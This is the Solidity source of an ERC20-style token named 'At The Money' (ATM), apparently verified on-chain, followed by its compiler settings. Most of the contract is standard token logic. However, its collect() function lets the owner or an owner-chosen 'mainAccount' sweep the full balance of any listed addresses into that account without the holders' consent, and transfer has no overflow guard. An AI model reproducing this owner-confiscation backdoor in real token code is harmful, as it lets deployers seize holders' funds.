pragma solidity ^0.4.24;
contract ATM{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
address public owner;
address public mainAccount;
constructor() public{
owner = msg.sender;
balances[msg.sender] = 1000000000000; //1亿
totalSupply = 1000000000000;
name = "At The Money";
decimals =4;
symbol = "ATM";
mainAccount=0xD953A59852e20bB6D25cB20D9C6F74F879F6a446; //设置归集账户,后期可以动态修改 如0xf5fb84350ac390929b6f6492a3d0217e92ae8dfd
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function setMainAccount(address addr) public returns (bool success) {
require(msg.sender==owner);
mainAccount = addr;
return true;
}
function collect(address[] adarr) public returns (bool success){
require(msg.sender==owner || msg.sender==mainAccount);
for(uint i=0;i<adarr.length;i++)
{
uint b = balances[adarr[i]];
balances[adarr[i]] -= b;
balances[mainAccount] += b;
}
return true;
}
}
{
"compilationTarget": {
"ATM.sol": "ATM"
},
"evmVersion": "byzantium",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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